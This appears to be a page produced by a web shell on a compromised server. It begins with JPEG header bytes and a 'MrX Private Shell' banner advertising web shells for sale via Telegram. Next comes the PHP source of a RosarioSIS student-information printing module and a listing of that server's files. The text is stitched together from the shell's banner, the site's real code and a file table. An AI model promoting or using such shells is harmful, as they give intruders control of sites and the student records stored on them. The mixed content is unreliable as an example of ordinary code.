����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
if ( $_REQUEST['modfunc'] === 'save'
&& AllowEdit() )
{
if ( ! empty( $_REQUEST['st_arr'] ) )
{
$_REQUEST['mailing_labels'] = issetVal( $_REQUEST['mailing_labels'], '' );
$st_list = implode( ',', array_map( 'intval', $_REQUEST['st_arr'] ) );
$extra['SELECT'] = issetVal( $extra['SELECT'], '' );
$extra['SELECT'] .= ",s.NAME_SUFFIX";
$extra['WHERE'] = " AND s.STUDENT_ID IN (" . $st_list . ")";
$extra['functions'] = [ 'GRADE_ID' => '_grade_id' ];
if ( $_REQUEST['mailing_labels'] === 'Y' )
{
Widgets( 'mailing_labels' );
}
$RET = GetStuList( $extra );
if ( ! empty( $RET ) )
{
require_once 'ProgramFunctions/StudentsUsersInfo.fnc.php';
$categories_RET = DBGet( "SELECT ID,TITLE,INCLUDE
FROM student_field_categories
ORDER BY SORT_ORDER IS NULL,SORT_ORDER,TITLE", [], [ 'ID' ] );
// get the address and contacts custom fields, create the select lists and expand select and codeds options
$address_categories_RET = DBGet( "SELECT c.ID AS CATEGORY_ID,c.TITLE AS CATEGORY_TITLE,
c.RESIDENCE,c.MAILING,c.BUS,f.ID,f.TITLE,f.TYPE,f.SELECT_OPTIONS,f.DEFAULT_SELECTION,f.REQUIRED
FROM address_field_categories c,address_fields f
WHERE f.CATEGORY_ID=c.ID
ORDER BY c.SORT_ORDER IS NULL,c.SORT_ORDER,c.TITLE,f.SORT_ORDER IS NULL,f.SORT_ORDER,f.TITLE", [], [ 'CATEGORY_ID' ] );
$people_categories_RET = DBGet( "SELECT c.ID AS CATEGORY_ID,c.TITLE AS CATEGORY_TITLE,
c.CUSTODY,c.EMERGENCY,f.ID,f.TITLE,f.TYPE,f.SELECT_OPTIONS,f.DEFAULT_SELECTION,f.REQUIRED
FROM people_field_categories c,people_fields f
WHERE f.CATEGORY_ID=c.ID
ORDER BY c.SORT_ORDER IS NULL,c.SORT_ORDER,c.TITLE,f.SORT_ORDER IS NULL,f.SORT_ORDER,f.TITLE", [], [ 'CATEGORY_ID' ] );
explodeCustom( $address_categories_RET, $address_custom, 'a' );
explodeCustom( $people_categories_RET, $people_custom, 'p' );
$_REQUEST['modfunc'] = false;
$handle = PDFStart();
foreach ( (array) $RET as $student )
{
SetUserStudentID( $student['STUDENT_ID'] );
$_REQUEST['student_id'] = $student['STUDENT_ID'];
unset( $_ROSARIO['DrawHeader'] );
//School logo
$logo_pic = 'assets/school_logo_' . UserSchool() . '.jpg';
$picwidth = 120;
if ( file_exists( $logo_pic ) )
{
DrawHeader( _( 'Student Info' ), '<img src="' . URLEscape( $logo_pic ) . '" width="' . $picwidth . '" />' );
}
else
{
DrawHeader( _( 'Student Info' ), '<div style="height:100px;"> </div>' );
}
DrawHeader( $student['FULL_NAME'], SchoolInfo( 'TITLE' ) );
DrawHeader( $student['STUDENT_ID'], GetGrade( $student['GRADE_ID'] ) );
DrawHeader( ProperDate( DBDate() ) );
if ( $_REQUEST['mailing_labels'] == 'Y' )
{
// @since 11.6 Add Mailing Label position
echo MailingLabelPositioned( $student['MAILING_LABEL'] );
}
if ( ! empty( $_REQUEST['category']['1'] ) )
{
require_once 'modules/Students/includes/Enrollment.fnc.php';
require 'modules/Students/includes/General_Info.inc.php';
echo '<div style="page-break-after: always;"></div>';
}
if ( ! empty( $_REQUEST['category']['3'] ) )
{
$_ROSARIO['DrawHeader'] = '';
DrawHeader( ParseMLField( $categories_RET['3'][1]['TITLE'] ) );
echo '<br />';
// Fix PostgreSQL error invalid ORDER BY, only result column names can be used
// Do not use ORDER BY SORT_ORDER IS NULL,SORT_ORDER (nulls last) in UNION.
$addresses_RET = DBGet( "SELECT a.ADDRESS_ID,sjp.STUDENT_RELATION,a.ADDRESS,
a.CITY,a.STATE,a.ZIPCODE,a.PHONE,a.MAIL_ADDRESS,a.MAIL_CITY,a.MAIL_STATE,
a.MAIL_ZIPCODE,sjp.CUSTODY,sja.MAILING,sja.RESIDENCE,sja.BUS_PICKUP,
sja.BUS_DROPOFF," . db_case( [ 'a.ADDRESS_ID', "'0'", '1', '0' ] ) . "AS SORT_ORDER" . $address_custom .
" FROM address a,students_join_address sja,students_join_people sjp
WHERE a.ADDRESS_ID=sja.ADDRESS_ID
AND sja.STUDENT_ID='" . UserStudentID() . "'
AND a.ADDRESS_ID=sjp.ADDRESS_ID
AND sjp.STUDENT_ID=sja.STUDENT_ID
UNION
SELECT a.ADDRESS_ID,'No Contacts' AS STUDENT_RELATION,a.ADDRESS,a.CITY,a.STATE,a.ZIPCODE,a.PHONE,a.MAIL_ADDRESS,a.MAIL_CITY,a.MAIL_STATE,a.MAIL_ZIPCODE,'' AS CUSTODY,sja.MAILING,sja.RESIDENCE,sja.BUS_PICKUP,sja.BUS_DROPOFF," . db_case( [ 'a.ADDRESS_ID', "'0'", '1', '0' ] ) . " AS SORT_ORDER" . $address_custom .
" FROM address a,students_join_address sja
WHERE a.ADDRESS_ID=sja.ADDRESS_ID
AND sja.STUDENT_ID='" . UserStudentID() . "'
AND NOT EXISTS (SELECT '' FROM students_join_people sjp
WHERE sjp.STUDENT_ID=sja.STUDENT_ID
AND sjp.ADDRESS_ID=a.ADDRESS_ID)
ORDER BY SORT_ORDER,RESIDENCE,CUSTODY,STUDENT_RELATION" );
$address_previous = "x";
foreach ( (array) $addresses_RET as $address )
{
$address_current = $address['ADDRESS'];
if ( $address_current != $address_previous )
{
echo $address['ADDRESS'] . '<br />' . ( $address['CITY'] ? $address['CITY'] . ', ' : '' ) . $address['STATE'] . ( $address['ZIPCODE'] ? ' ' . $address['ZIPCODE'] : '' ) . '<br />';
foreach ( (array) $address_categories_RET as $categories )
{
echo '<br /><table>';
if ( ! $categories[1]['RESIDENCE'] && ! $categories[1]['MAILING'] && ! $categories[1]['BUS'] || $categories[1]['RESIDENCE'] == 'Y' && $address['RESIDENCE'] == 'Y' || $categories[1]['MAILING'] == 'Y' && $address['MAILING'] == 'Y' || $categories[1]['BUS'] == 'Y' && ( $address['BUS_PICKUP'] == 'Y' || $address['BUS_DROPOFF'] == 'Y' ) )
{
printCustom( $categories, $address );
}
echo '</table>';
}
$contacts_RET = DBGet( "SELECT p.PERSON_ID,p.FIRST_NAME,
p.MIDDLE_NAME,p.LAST_NAME,sjp.CUSTODY,sjp.EMERGENCY,
sjp.STUDENT_RELATION" . $people_custom . "
FROM people p,students_join_people sjp
WHERE p.PERSON_ID=sjp.PERSON_ID
AND sjp.STUDENT_ID='" . UserStudentID() . "'
AND sjp.ADDRESS_ID='" . (int) $address['ADDRESS_ID'] . "'" );
foreach ( (array) $contacts_RET as $contact )
{
echo '<br /><b>' . DisplayName(
$contact['FIRST_NAME'],
$contact['LAST_NAME'],
$contact['MIDDLE_NAME']
) .
( $contact['STUDENT_RELATION'] ? ': ' . $contact['STUDENT_RELATION'] : '' ) .
' </b><br />';
$info_RET = DBGet( "SELECT ID,TITLE,VALUE
FROM people_join_contacts
WHERE PERSON_ID='" . (int) $contact['PERSON_ID'] . "'" );
echo '<table>';
foreach ( (array) $info_RET as $info )
{
echo '<tr><td> </td>';
echo '<td>' . $info['TITLE'] . '</td>';
echo '<td>' . $info['VALUE'] . '</td>';
echo '</tr>';
}
foreach ( (array) $people_categories_RET as $categories )
{
if ( ! $categories[1]['CUSTODY'] && ! $categories[1]['EMERGENCY'] || $categories[1]['CUSTODY'] == 'Y' && $contact['CUSTODY'] == 'Y' || $categories[1]['EMERGENCY'] == 'Y' && $contact['EMERGENCY'] == 'Y' )
{
printCustom( $categories, $contact );
}
}
echo '</table>';
}
echo '<br /> <br />';
}
$address_previous = $address_current;
}
echo '<div style="page-break-after: always;"></div>';
}
if ( ! empty( $_REQUEST['category']['2'] ) )
{
$_ROSARIO['DrawHeader'] = '';
DrawHeader( ParseMLField( $categories_RET['2'][1]['TITLE'] ) );
echo '<br />';
require 'modules/Students/includes/Medical.inc.php';
echo '<div style="page-break-after: always;"></div>';
}
if ( ! empty( $_REQUEST['category']['4'] ) )
{
$_ROSARIO['DrawHeader'] = '';
DrawHeader( ParseMLField( $categories_RET['4'][1]['TITLE'] ) );
echo '<br />';
require 'modules/Students/includes/Comments.inc.php';
echo '<div style="page-break-after: always;"></div>';
}
foreach ( (array) $categories_RET as $id => $category )
{
if ( $id != '1'
&& $id != '3'
&& $id != '2'
&& $id != '4'
&& ! empty( $_REQUEST['category'][$id] ) )
{
$_REQUEST['category_id'] = $id;
$_ROSARIO['DrawHeader'] = '';
DrawHeader( ParseMLField( $category[1]['TITLE'] ) );
echo '<br />';
$separator = '';
if ( ! $category[1]['INCLUDE'] )
{
require 'modules/Students/includes/Other_Info.inc.php';
}
elseif ( ! mb_strpos( $category[1]['INCLUDE'], '/' ) )
{
require 'modules/Students/includes/' . $category[1]['INCLUDE'] . '.inc.php';
}
else
{
if ( file_exists( 'plugins/' . $category[1]['INCLUDE'] . '.inc.php' ) )
{
// @since 4.5 Include Student/User Info tab from custom plugin.
require 'plugins/' . $category[1]['INCLUDE'] . '.inc.php';
}
else
{
require 'modules/' . $category[1]['INCLUDE'] . '.inc.php';
}
$separator = '<hr>';
require 'modules/Students/includes/Other_Info.inc.php';
}
echo '<div style="page-break-after: always;"></div>';
}
}
}
PDFStop( $handle );
}
else
{
BackPrompt( _( 'No Students were found.' ) );
}
}
else
{
BackPrompt( _( 'You must choose at least one student.' ) );
}
unset( $_SESSION['student_id'] );
//echo '<pre>'; var_dump($_REQUEST['modfunc']); echo '</pre>';
$_REQUEST['modfunc'] = true;
}
if ( ! $_REQUEST['modfunc'] )
{
DrawHeader( ProgramTitle() );
if ( $_REQUEST['search_modfunc'] === 'list' )
{
echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] . '&modfunc=save&include_inactive=' .
issetVal( $_REQUEST['include_inactive'], '' ) . '&_search_all_schools=' .
issetVal( $_REQUEST['_search_all_schools'], '' ) . '&_ROSARIO_PDF=true' ) . '" method="POST">';
$extra['header_right'] = SubmitButton( _( 'Print Info for Selected Students' ) );
$extra['extra_header_left'] = '<table>';
Widgets( 'mailing_labels' );
$extra['extra_header_left'] .= $extra['search'];
$extra['search'] = '';
$extra['extra_header_left'] .= '</table>';
if ( User( 'PROFILE_ID' ) )
{
$can_use_RET = DBGet( "SELECT MODNAME
FROM profile_exceptions
WHERE PROFILE_ID='" . User( 'PROFILE_ID' ) . "'
AND CAN_USE='Y'", [], [ 'MODNAME' ] );
}
else
{
$can_use_RET = DBGet( "SELECT MODNAME
FROM staff_exceptions
WHERE USER_ID='" . User( 'STAFF_ID' ) . "'
AND CAN_USE='Y'", [], [ 'MODNAME' ] );
}
$categories_RET = DBGet( "SELECT ID,TITLE,INCLUDE
FROM student_field_categories
ORDER BY SORT_ORDER IS NULL,SORT_ORDER,TITLE" );
$extra['extra_header_right'] = '<table>';
foreach ( (array) $categories_RET as $category )
{
if ( ! empty( $can_use_RET['Students/Student.php&category_id=' . $category['ID']] ) )
{
$extra['extra_header_right'] .= '<tr><td><label>' . ParseMLField( $category['TITLE'] ) . ' <input type="checkbox" name="category[' . $category['ID'] . ']" value="Y" checked /></label></td></tr>';
}
}
$extra['extra_header_right'] .= '</table>';
}
$extra['link'] = [ 'FULL_NAME' => false ];
$extra['SELECT'] = ",s.STUDENT_ID AS CHECKBOX";
$extra['functions'] = [ 'CHECKBOX' => 'MakeChooseCheckbox' ];
$extra['columns_before'] = [ 'CHECKBOX' => MakeChooseCheckbox( 'Y_required', '', 'st_arr' ) ];
$extra['options']['search'] = false;
$extra['new'] = true;
//Widgets('course');
//Widgets('request');
//Widgets('activity');
//Widgets('absences');
//Widgets('gpa');
//Widgets('class_rank');
//Widgets('letter_grade');
//Widgets('eligibility');
Search( 'student_id', $extra );
if ( $_REQUEST['search_modfunc'] === 'list' )
{
echo '<br /><div class="center">' . SubmitButton( _( 'Print Info for Selected Students' ) ) . '</div>';
echo '</form>';
}
}
// GetStuList by default translates the grade_id to the grade title which we don't want here.
// One way to avoid this is to provide a translation function for the grade_id so here we
// provide a passthru function just to avoid the translation.
/**
* @param $value
* @return mixed
*/
function _grade_id( $value )
{
return $value;
}
/**
* @param $categories_RET
* @param $custom
* @param $prefix
*/
function explodeCustom( &$categories_RET, &$custom, $prefix )
{
foreach ( (array) $categories_RET as $id => $category )
{
foreach ( (array) $category as $i => $field )
{
$custom .= ',' . $prefix . '.CUSTOM_' . $field['ID'];
if ( $field['TYPE'] == 'select' )
{
$select_options = explode( "\r", str_replace( [ "\r\n", "\n" ], "\r", $field['SELECT_OPTIONS'] ) );
$options = [];
foreach ( (array) $select_options as $option )
{
$options[$option] = $option;
}
$categories_RET[$id][$i]['SELECT_OPTIONS'] = $options;
}
}
}
}
/**
* @param $categories
* @param $values
*/
function printCustom( &$categories, &$values )
{
echo '<tr><td colspan="3"><b>' . ParseMLField( $categories[1]['CATEGORY_TITLE'] ) . '<b></td></tr>';
foreach ( (array) $categories as $field )
{
echo '<tr><td> </td>';
echo '<td>' . ( $field['REQUIRED'] && $values['CUSTOM_' . $field['ID']] == '' ? '<span style="color:red">' : '' ) .
ParseMLField( $field['TITLE'] ) . ( $field['REQUIRED'] && $values['CUSTOM_' . $field['ID']] == '' ? '</span>' : '' ) .
'</td>';
if ( $field['TYPE'] == 'select' )
{
echo '<td>' . ( isset( $field['SELECT_OPTIONS'][$values['CUSTOM_' . $field['ID']]] )
&& $field['SELECT_OPTIONS'][$values['CUSTOM_' . $field['ID']]] != '' ?
'' : '<span style="color:red">' ) .
$values['CUSTOM_' . $field['ID']] .
( isset( $field['SELECT_OPTIONS'][$values['CUSTOM_' . $field['ID']]] )
&& $field['SELECT_OPTIONS'][$values['CUSTOM_' . $field['ID']]] != '' ? '' : '</span>' ) .
'</td>';
}
elseif ( $field['TYPE'] == 'codeds' )
{
echo '<td>' . ( isset( $field['SELECT_OPTIONS'][$values['CUSTOM_' . $field['ID']]])
&& $field['SELECT_OPTIONS'][$values['CUSTOM_' . $field['ID']]] != '' ?
$field['SELECT_OPTIONS'][$values['CUSTOM_' . $field['ID']]] :
'<span style="color:red">' . $values['CUSTOM_' . $field['ID']] . '</span>' ) .
'</td>';
}
else
{
echo '<td>' . $values['CUSTOM_' . $field['ID']] . '</td>';
}
echo '</tr>';
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| includes | Folder | 0755 |
|
|
| AddDrop.php | File | 2.68 KB | 0644 |
|
| AddUsers.php | File | 3.86 KB | 0644 |
|
| AdvancedReport.php | File | 2.9 KB | 0644 |
|
| AssignOtherInfo.php | File | 13.44 KB | 0644 |
|
| EnrollmentCodes.php | File | 4 KB | 0644 |
|
| Letters.php | File | 8.69 KB | 0644 |
|
| Menu.php | File | 1.93 KB | 0644 |
|
| PrintStudentInfo.php | File | 13.93 KB | 0644 |
|
| Search.inc.php | File | 10.26 KB | 0644 |
|
| Student.php | File | 22.68 KB | 0644 |
|
| StudentBreakdown.php | File | 9.79 KB | 0644 |
|
| StudentFields.php | File | 1.43 KB | 0644 |
|
| StudentLabels.php | File | 2.45 KB | 0644 |
|